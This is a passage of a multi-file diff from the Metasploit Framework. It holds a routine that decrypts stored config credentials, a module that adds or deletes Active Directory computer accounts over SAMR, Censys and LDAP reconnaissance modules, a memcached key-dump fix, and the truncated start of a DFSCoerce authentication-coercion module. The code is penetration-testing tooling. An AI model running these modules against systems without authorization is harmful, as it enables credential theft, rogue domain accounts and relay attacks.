plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes)
end
next unless plaintext
if username
print_good("User: #{username}")
print_good("Pass: #{plaintext}")
store_valid_credential(user: username, private: plaintext)
else
print_good("Plaintext: #{plaintext}")
store_valid_credential(user: element, private: plaintext)
end
end
end
end
end
end
def parse_username_from_config(line)
# Ugly but effective way to extract the principal name from a config line for loot storage
# The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern
[' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param|
next unless line.match?(/#{user_param} (.+)/)
user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s
if user_name.match?('"')
user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s
end
return user_name
end
false
end
def ns_rc4_decrypt(rc4key, ciphertext_bytes)
decipher = OpenSSL::Cipher.new('rc4')
decipher.decrypt
decipher.key = rc4key
decipher.update(ciphertext_bytes)
rescue OpenSSL::Cipher::CipherError
print_error("#{__method__}: bad decrypt")
return false
end
def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
decipher = OpenSSL::Cipher.new('aes-256-ecb')
decipher.decrypt
decipher.padding = 0
decipher.key = aeskey
(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
rescue OpenSSL::Cipher::CipherError
print_error("#{__method__}: bad decrypt")
return false
end
def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
decipher = OpenSSL::Cipher.new('aes-256-cbc')
iv = ciphertext_bytes[0, 16]
ciphertext = ciphertext_bytes[16..]
decipher.decrypt
decipher.iv = iv
decipher.padding = 1
decipher.key = aeskey
(decipher.update(ciphertext) + decipher.final).delete("\000")
rescue OpenSSL::Cipher::CipherError
print_error("#{__method__}: bad decrypt")
return false
end
end
@@ -0,0 +1,249 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'ruby_smb/dcerpc/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAMR Computer Management',
'Description' => %q{
Add, lookup and delete computer accounts via MS-SAMR. By default
standard active directory users can add up to 10 new computers to the
domain. Administrative privileges however are required to delete the
created accounts.
},
'License' => MSF_LICENSE,
'Author' => [
'JaGoTu', # @jagotu Original Impacket code
'Spencer McIntyre',
],
'References' => [
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py'],
],
'Notes' => {
'Reliability' => [],
'Stability' => [],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Actions' => [
[ 'ADD_COMPUTER', { 'Description' => 'Add a computer account' } ],
[ 'DELETE_COMPUTER', { 'Description' => 'Delete a computer account' } ],
[ 'LOOKUP_COMPUTER', { 'Description' => 'Lookup a computer account' } ]
],
'DefaultAction' => 'ADD_COMPUTER'
)
)
register_options([
OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]),
OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ], conditions: %w[ACTION == ADD_COMPUTER]),
Opt::RPORT(445)
])
end
def connect_samr
vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')
samr = @tree.open_file(filename: 'samr', write: true, read: true)
vprint_status('Binding to \\samr...')
samr.bind(endpoint: RubySMB::Dcerpc::Samr)
vprint_good('Bound to \\samr')
samr
end
def run
begin
connect
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
report_service(
host: rhost,
port: rport,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
)
begin
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
end
begin
@samr = connect_samr
@server_handle = @samr.samr_connect
rescue RubySMB::Dcerpc::Error::FaultError => e
elog(e.message, error: e)
fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
end
if datastore['SMBDomain'].blank? || datastore['SMBDomain'] == '.'
all_domains = @samr.samr_enumerate_domains_in_sam_server(server_handle: @server_handle).map(&:to_s).map(&:encode)
all_domains.delete('Builtin')
if all_domains.empty?
fail_with(Failure::NotFound, 'No domains were found on the SAM server.')
elsif all_domains.length > 1
print_status("Enumerated domains: #{all_domains.join(', ')}")
fail_with(Failure::BadConfig, 'The SAM server has more than one domain, the target must be specified.')
end
@domain_name = all_domains.first
print_status("Using automatically identified domain: #{@domain_name}")
else
@domain_name = datastore['SMBDomain']
end
@domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: @domain_name)
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: @domain_sid)
send("action_#{action.name.downcase}")
rescue RubySMB::Dcerpc::Error::DcerpcError => e
elog(e.message, error: e)
fail_with(Failure::UnexpectedReply, e.message)
rescue RubySMB::Error::RubySMBError
elog(e.message, error: e)
fail_with(Failure::Unknown, e.message)
end
def random_hostname(prefix: 'DESKTOP')
"#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$"
end
def action_add_computer
if datastore['COMPUTER_NAME'].blank?
computer_name = random_hostname
4.downto(0) do |attempt|
break if @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ]).nil?
computer_name = random_hostname
fail_with(Failure::BadConfig, 'Could not find an unused computer name.') if attempt == 0
end
else
computer_name = datastore['COMPUTER_NAME']
if @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ])
fail_with(Failure::BadConfig, 'The specified computer name already exists.')
end
end
result = @samr.samr_create_user2_in_domain(
domain_handle: @domain_handle,
name: computer_name,
account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT,
desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED
)
user_handle = result[:user_handle]
if datastore['COMPUTER_PASSWORD'].blank?
password = Rex::Text.rand_text_alphanumeric(32)
else
password = datastore['COMPUTER_PASSWORD']
end
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
i1: {
password_expired: 1,
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
},
user_password: {
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
password,
@simple.client.application_key
)
}
)
)
@samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION,
member: RubySMB::Dcerpc::Samr::UserControlInformation.new(
user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT
)
)
@samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully created #{@domain_name}\\#{computer_name} with password #{password}")
report_creds(@domain_name, computer_name, password)
end
def action_delete_computer
fail_with(Failure::BadConfig, 'This action requires COMPUTER_NAME to be specified.') if datastore['COMPUTER_NAME'].blank?
computer_name = datastore['COMPUTER_NAME']
details = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ])
fail_with(Failure::BadConfig, 'The specified computer was not found.') if details.nil?
details = details[computer_name]
handle = @samr.samr_open_user(domain_handle: @domain_handle, user_id: details[:rid])
@samr.samr_delete_user(user_handle: handle)
print_good('The specified computer has been deleted.')
end
def action_lookup_computer
fail_with(Failure::BadConfig, 'This action requires COMPUTER_NAME to be specified.') if datastore['COMPUTER_NAME'].blank?
computer_name = datastore['COMPUTER_NAME']
details = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ])
if details.nil?
print_error('The specified computer was not found.')
return
end
details = details[computer_name]
sid = @samr.samr_rid_to_sid(object_handle: @domain_handle, rid: details[:rid]).to_s
print_good("Found #{@domain_name}\\#{computer_name} (SID: #{sid})")
end
def report_creds(domain, username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end
+102 -117
View File
@@ -3,150 +3,141 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Censys Search',
'Description' => %q{
The module use the Censys REST API to access the same data
accessible through web interface. The search endpoint allows searches
against the current data in the IPv4, Top Million Websites, and
Certificates indexes using the same search syntax as the primary site.
},
'Author' => [ 'Nixawk' ],
'References' => [
['URL', 'https://censys.io/api']
],
'License' => MSF_LICENSE
))
CENSYS_SEARCH_API = 'search.censys.io'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Censys Search',
'Description' => %q{
The module uses the Censys REST API to access the same data accessible
through the web interface. The search endpoint allows queries using
the Censys Search Language against the Hosts dataset. Setting the
CERTIFICATES option will also retrieve the certificate details for each
relevant service by querying the Certificates dataset.
},
'Author' => [
'Nixawk', # original Metasploit module
'e2002e', # rework to use the API v2
'Christophe De La Fuente' # rework to use the API v2
],
'References' => [
['URL', 'https://search.censys.io']
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options([
OptString.new('CENSYS_UID', [true, 'The Censys API UID']),
OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),
OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']),
OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']])
OptString.new('QUERY', [true, 'The Censys search query']),
OptBool.new('CERTIFICATES', [false, 'Query infos about certificates', false])
])
end
def basic_auth_header(username, password)
auth_str = username.to_s + ":" + password.to_s
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
def basic_auth_header
auth_str = datastore['CENSYS_UID'].to_s + ':' + datastore['CENSYS_SECRET'].to_s
'Basic ' + Rex::Text.encode_base64(auth_str)
end
def search(keyword, search_type)
# search_type should be one of ipv4, websites, certificates
def search(keyword)
begin
# "80.http.get.headers.server: Apache"
payload = {
'query' => keyword
}
@cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true)
@cli = Rex::Proto::Http::Client.new(CENSYS_SEARCH_API, 443, {}, true)
@cli.connect
response = @cli.request_cgi(
'method' => 'post',
'uri' => "/api/v1/search/#{search_type}",
'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) },
'data' => payload.to_json
'method' => 'GET',
'uri' => "/api/v2/hosts/search?q=#{keyword}",
'headers' => { 'Authorization' => basic_auth_header }
)
res = @cli.send_recv(response)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("HTTP Connection Failed")
end
unless res
print_error('server_response_error')
return
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT => e
fail_with(Failure::Unreachable, "#search: HTTP Connection Failed: #{e}")
end
fail_with(Failure::Unreachable, '#search: HTTP Connection Failed') unless res
records = ActiveSupport::JSON.decode(res.body)
results = records['results']
if @searchtype.include?('certificates')
parse_certificates(results)
elsif @searchtype.include?('ipv4')
parse_ipv4(results)
elsif @searchtype.include?('websites')
parse_websites(results)
if records['code'] == 200
parse_record(records['result'])
else
fail_with(Failure::UnexpectedReply, "Error returned by '/api/v2/hosts/search': code=#{records['code']}, status=#{records['status']}, error=#{records['error']}")
end
end
def valid_domain?(domain)
domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/
end
def get_certificate_details(cert_fingerprint)
return if cert_fingerprint.nil?
def domain2ip(domain)
ips = []
begin
ips = Rex::Socket.getaddresses(domain)
rescue SocketError
response = @cli.request_cgi(
'method' => 'GET',
'uri' => "/api/v1/view/certificates/#{cert_fingerprint}",
'headers' => { 'Authorization' => basic_auth_header }
)
res = @cli.send_recv(response)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error('#get_certificate_details - HTTP Connection Failed')
return
end
ips
return unless res
cert_details = ActiveSupport::JSON.decode(res.body)
subject = cert_details.dig('parsed', 'subject_dn')
return unless subject
issuer = cert_details.dig('parsed', 'issuer_dn')
cert_details = subject
cert_details << " (Issuer: #{issuer})" if issuer
cert_details
end
def parse_certificates(records)
ips = []
records.each do |certificate|
# parsed.fingerprint_sha256
# parsed.subject_dn
# parsed.issuer_dn
subject_dn = certificate['parsed.subject_dn'].join(',')
next unless subject_dn.include?('CN=')
host = subject_dn.split('CN=')[1]
if Rex::Socket.is_ipv4?(host)
ips << host
elsif valid_domain?(host) # Fake DNS server
ips |= domain2ip(host)
end
ips.each do |ip|
print_good("#{ip} - #{subject_dn}")
report_host(:host => ip, :info => subject_dn)
def parse_record(records)
unless records&.dig('hits')&.any?
print_error('The query did not return any records')
return
end
records['hits'].each do |hit|
ip = hit['ip']
services = hit['services']
ports = []
certs = []
services.each do |service|
port = service['port']
name = service['service_name']
ports << "#{port}/#{name}"
cert_details = nil
if datastore['CERTIFICATES'] && service['certificate']
cert_details = get_certificate_details(service['certificate'])
if cert_details
certs << "Certificate for #{port}/#{name}: #{cert_details}"
else
vprint_error("Unable to get certificate details for #{port}/#{name}")
end
end
if cert_details
report_service(host: ip, port: port, name: name, info: cert_details)
else
report_service(host: ip, port: port, name: name)
end
end
print_good("#{ip} - #{ports.join(',')}")
certs.each { |cert| print_status(cert) }
end
end
def parse_ipv4(records)
records.each do |ipv4|
# ip
# protocols
ip = ipv4['ip']
protocols = ipv4['protocols']
protocols.each do |protocol|
print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}")
port, name = protocol.split('/')
report_service(:host => ip, :port => port, :name => name)
end
end
end
def parse_websites(records)
records.each do |website|
# domain
# alexa_rank
print_good("#{website['domain']} - #{website['alexa_rank']}")
domain = website['domain']
ips = domain2ip(domain)
ips.each do |ip|
report_host(:host =>ip)
end
end
end
# Check to see if www.censys.io resolves properly
# Check to see if Censys Search API host resolves properly
def censys_resolvable?
begin
Rex::Socket.resolv_to_dotted("www.censys.io")
Rex::Socket.resolv_to_dotted(CENSYS_SEARCH_API)
rescue RuntimeError, SocketError
return false
end
@@ -154,16 +145,10 @@ class MetasploitModule < Msf::Auxiliary
end
def run
# check to ensure www.censys.io is resolvable
unless censys_resolvable?
print_error("Unable to resolve www.censys.io")
return
fail_with(Failure::Unreachable, "Unable to resolve #{CENSYS_SEARCH_API}")
end
@uid = datastore['CENSYS_UID']
@secret = datastore['CENSYS_SECRET']
@dork = datastore['CENSYS_DORK']
@searchtype = datastore['CENSYS_SEARCHTYPE']
search(@dork, @searchtype)
search(datastore['QUERY'])
end
end
+10 -12
View File
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
Netlify and Sucuri.
},
'Author' => [
'mekhalleh (RAMELLA Sébastien)' # https://www.pirates.re/
'mekhalleh (RAMELLA Sébastien)', # https://www.pirates.re/
'Yvain'
],
'References' => [
['URL', 'https://citadelo.com/en/blog/cloudflare-how-to-do-it-right-and-do-not-reveal-your-real-ip/']
@@ -165,21 +166,18 @@ class MetasploitModule < Msf::Auxiliary
# ------------------------------------------------------------------------- #
# auxiliary/gather/censys_search.rb
def censys_search(keyword, search_type, uid, secret)
def censys_search(keyword, uid, secret)
begin
payload = { 'query' => keyword }
cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true, nil, datastore['Proxies'])
cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true, nil, datastore['Proxies'])
cli.connect
response = cli.request_cgi(
'method' => 'POST',
'uri' => "/api/v1/search/#{search_type}",
'method' => 'GET',
'uri' => "/api/v2/hosts/search?q=#{keyword}",
'agent' => datastore['USERAGENT'],
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}"
},
'data' => payload.to_json
}
)
results = cli.send_recv(response)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
@@ -192,8 +190,8 @@ class MetasploitModule < Msf::Auxiliary
end
records = ActiveSupport::JSON.decode(results.body)
results = records['results']
results = records['result']
parse_ipv4(results)
end
@@ -296,7 +294,7 @@ class MetasploitModule < Msf::Auxiliary
# auxiliary/gather/censys_search.rb
def parse_ipv4(records)
ip_list = []
records.each do |ipv4|
records['hits'].each do |ipv4|
ip_list.push(ipv4['ip'])
end
ip_list
@@ -579,7 +577,7 @@ class MetasploitModule < Msf::Auxiliary
# Censys search
if [datastore['CENSYS_UID'], datastore['CENSYS_SECRET']].none?(&:nil?)
ip_records = censys_search(domain_name, 'ipv4', datastore['CENSYS_UID'], datastore['CENSYS_SECRET'])
ip_records = censys_search(domain_name, datastore['CENSYS_UID'], datastore['CENSYS_SECRET'])
if ip_records && !ip_records.empty?
ip_list |= ip_records
end
+333
View File
@@ -0,0 +1,333 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
require 'json'
require 'yaml'
def initialize(info = {})
actions, default_action = initialize_actions
super(
update_info(
info,
'Name' => 'LDAP Query and Enumeration Module',
'Description' => %q{
This module allows users to query an LDAP server using either a custom LDAP query, or
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
file containing custom queries to be executed using the RUN_QUERY_FILE action.
If this action is specified, then QUERY_FILE_PATH must be a path to the location
of this JSON/YAML file on disk.
Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
to a comma seperated string containing the list of attributes they are interested in obtaining
from the results.
As a third option can run one of several predefined queries by setting ACTION to the
appropriate value. These options will be loaded from the ldap_queries_default.yaml file
located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.
All results will be returned to the user in table, CSV or JSON format, depending on the value
of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
should multiple items exist within a single column.
},
'Author' => [
'Grant Willcox', # Original module author
],
'References' => [
],
'DisclosureDate' => '2022-05-19',
'License' => MSF_LICENSE,
'Actions' => actions,
'DefaultAction' => default_action,
'DefaultOptions' => {
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(389), # Set to 636 for SSL/TLS
OptEnum.new('OUTPUT_FORMAT', [true, 'The output format to use', 'table', %w[csv table json]]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptPath.new('QUERY_FILE_PATH', [false, 'Path to the JSON or YAML file to load and run queries from'], conditions: %w[ACTION == RUN_QUERY_FILE]),
OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
OptString.new('QUERY_ATTRIBUTES', [false, 'Comma seperated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
])
end
def initialize_actions
user_config_file_path = File.join(::Msf::Config.get_config_root, 'ldap_queries.yaml')
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
@loaded_queries = safe_load_queries(default_config_file_path) || []
if File.exist?(user_config_file_path)
@loaded_queries.concat(safe_load_queries(user_config_file_path) || [])
else
# If the user config file doesn't exist, then initialize it with a sample entry.
# Users can adjust this file to overwrite default actions to retrieve different attributes etc by default.
template = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_template.yaml')
FileUtils.cp(template, user_config_file_path) if File.exist?(template)
end
# Combine the user settings with the default settings and then uniq them such that we only have one copy
# of each ACTION, however we use the user's custom settings if they have tweaked anything to prevent overriding
# their custom adjustments.
@loaded_queries = @loaded_queries.map { |h| [h['action'], h] }.to_h
@loaded_queries.select! do |_, entry|
if entry['action'].blank?
wlog('ldap query entry detected that was missing its action field')
return false
end
if %w[RUN_QUERY_FILE RUN_SINGLE_QUERY].include? entry['action']
wlog("ldap query entry detected that was using a reserved action name: #{entry['action']}")
return false
end
if entry['filter'].blank?
wlog('ldap query entry detected that was missing its filter field')
return false
end
unless entry['attributes'].is_a? Array
wlog('ldap query entry detected that was missing its attributes field')
return false
end
true
end
actions = []
@loaded_queries.each_value do |entry|
actions << [entry['action'], { 'Description' => entry['description'] || '' }]
end
actions << ['RUN_QUERY_FILE', { 'Description' => 'Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.' }]
actions << ['RUN_SINGLE_QUERY', { 'Description' => 'Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options.' }]
actions.sort!
default_action = 'RUN_QUERY_FILE'
unless @loaded_queries.empty? # Aka there is more than just RUN_QUERY_FILE and RUN_SINGLE_QUERY in the actions list...
default_action = actions[0][0] # Get the first entry's action name and set this as the default action.
end
return actions, default_action
end
def safe_load_queries(filename)
begin
settings = YAML.safe_load(File.binread(filename))
rescue StandardError => e
elog("Couldn't parse #{filename}", error: e)
return
end
return unless settings['queries'].is_a? Array
settings['queries']
end
def perform_ldap_query(ldap, filter, attributes)
returned_entries = ldap.search(base: @base_dn, filter: filter, attributes: attributes)
query_result = ldap.as_json['result']['ldap_result']
case query_result['resultCode']
when 0
vprint_good('Successfully queried LDAP server!')
when 1
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
fail_with(Failure::NoAccess, query_result['errorMessage'])
else
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
end
if returned_entries.nil? || returned_entries.empty?
print_error("No results found for #{filter}.")
nil
else
returned_entries
end
end
def generate_rex_tables(entries, format)
entries.each do |entry|
tbl = Rex::Text::Table.new(
'Header' => entry['dn'][0].split(',').join(' '),
'Indent' => 1,
'Columns' => %w[Name Attributes]
)
entry.attribute_names.each do |attr|
if format == 'table'
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
else
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
end
end
case format
when 'table'
print_status(tbl.to_s)
when 'csv'
print_status(tbl.to_csv)
else
fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
end
end
end
def output_json_data(entries)
entries.each do |entry|
result = ''
data = {}
entry.attribute_names.each do |attr|
data[attr] = entry[attr].join(' || ')
end
result << JSON.pretty_generate(data) + ",\n"
result.gsub!(/},\n$/, '}')
print_status(entry['dn'][0].split(',').join(' '))
print_line(result)
end
end
def output_data_table(entries)
generate_rex_tables(entries, 'table')
end
def output_data_csv(entries)
generate_rex_tables(entries, 'csv')
end
def show_output(entries)
case datastore['OUTPUT_FORMAT']
when 'csv'
output_data_csv(entries)
when 'table'
output_data_table(entries)
when 'json'
output_json_data(entries)
else
fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
end
end
def run_queries_from_file(ldap, queries)
queries.each do |query|
unless query['action'] && query['filter'] && query['attributes']
fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
end
attributes = query['attributes']
if attributes.nil? || attributes.empty?
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
break
end
filter = Net::LDAP::Filter.construct(query['filter'])
print_status("Running #{query['action']}...")
entries = perform_ldap_query(ldap, filter, attributes)
if entries.nil?
print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!")
next
end
show_output(entries)
end
end
def run
entries = nil
begin
ldap_connect do |ldap|
bind_result = ldap.as_json['result']['ldap_result']
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case bind_result['resultCode']
when 0
print_good('Successfully bound to the LDAP server!')
when 1
fail_with(Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage']}")
when 7
fail_with(Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
when 8
fail_with(Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage']}")
when 14
fail_with(Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage']}")
when 48
fail_with(Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
when 49
fail_with(Failure::NoAccess, 'Invalid credentials provided!')
else
fail_with(Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage']}")
end
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
print_warning("Couldn't discover base DN!")
end
end
case action.name
when 'RUN_QUERY_FILE'
unless datastore['QUERY_FILE_PATH']
fail_with(Failure::BadConfig, 'When using the RUN_QUERY_FILE action, one must specify the path to the JASON/YAML file containing the queries via QUERY_FILE_PATH!')
end
print_status("Loading queries from #{datastore['QUERY_FILE_PATH']}...")
parsed_queries = safe_load_queries(datastore['QUERY_FILE_PATH']) || []
if parsed_queries.empty?
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
end
run_queries_from_file(ldap, parsed_queries)
return
when 'RUN_SINGLE_QUERY'
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!')
end
begin
filter = Net::LDAP::Filter.construct(datastore['QUERY_FILTER'])
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter #{datastore['QUERY_FILTER']}. Error was #{e}")
end
print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...")
attributes = datastore['QUERY_ATTRIBUTES'].split(',')
if attributes.empty?
fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!')
end
entries = perform_ldap_query(ldap, filter, attributes)
print_error("No entries could be found for #{datastore['QUERY_FILTER']}!") if entries.nil? || entries.empty?
else
query = @loaded_queries[datastore['ACTION']]
fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query
begin
filter = Net::LDAP::Filter.construct(query['filter'])
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter #{query['filter']}. Error was #{e}")
end
entries = perform_ldap_query(ldap, filter, query['attributes'])
end
end
rescue Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
rescue Net::LDAP::Error => e
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
end
return if entries.nil? || entries.empty?
show_output(entries)
end
end
@@ -54,12 +54,13 @@ class MetasploitModule < Msf::Auxiliary
def enumerate_keys
keys = []
enumerate_slab_ids.each do |sid|
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
loop do
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
data = sock.recv(4096)
break if !data || data.length == 0 || data == "END\r\n"
break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
matches = data.scan(/^ITEM (?<key>.*) \[/)
keys = keys + matches.flatten! if matches
break if matches.empty?
keys = keys + matches.flatten!
break if data =~ /^END/
end
end
@@ -86,9 +87,10 @@ class MetasploitModule < Msf::Auxiliary
sock.send("lru_crawler metadump all\r\n", 0)
loop do
data = sock.recv(4096)
break if !data || data.length == 0 || data == "END\r\n"
break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
matches = data.scan(/^key=(?<key>.*) exp=/)
keys = keys + matches.flatten! if matches
break if matches.empty?
keys = keys + matches.flatten!
break if data =~ /^END/
data = ''
end
@@ -0,0 +1,108 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
Dfsnm = RubySMB::Dcerpc::Dfsnm
METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze
def initialize
super(
'Name' => 'DFSCoerce',
'Description' => %q{
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
},
'Author' => [
'Wh04m1001',
'xct_de',
'Spencer McIntyre'
],
'References' => [
[ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ]
],
'License' => MSF_LICENSE
)
register_options(
[
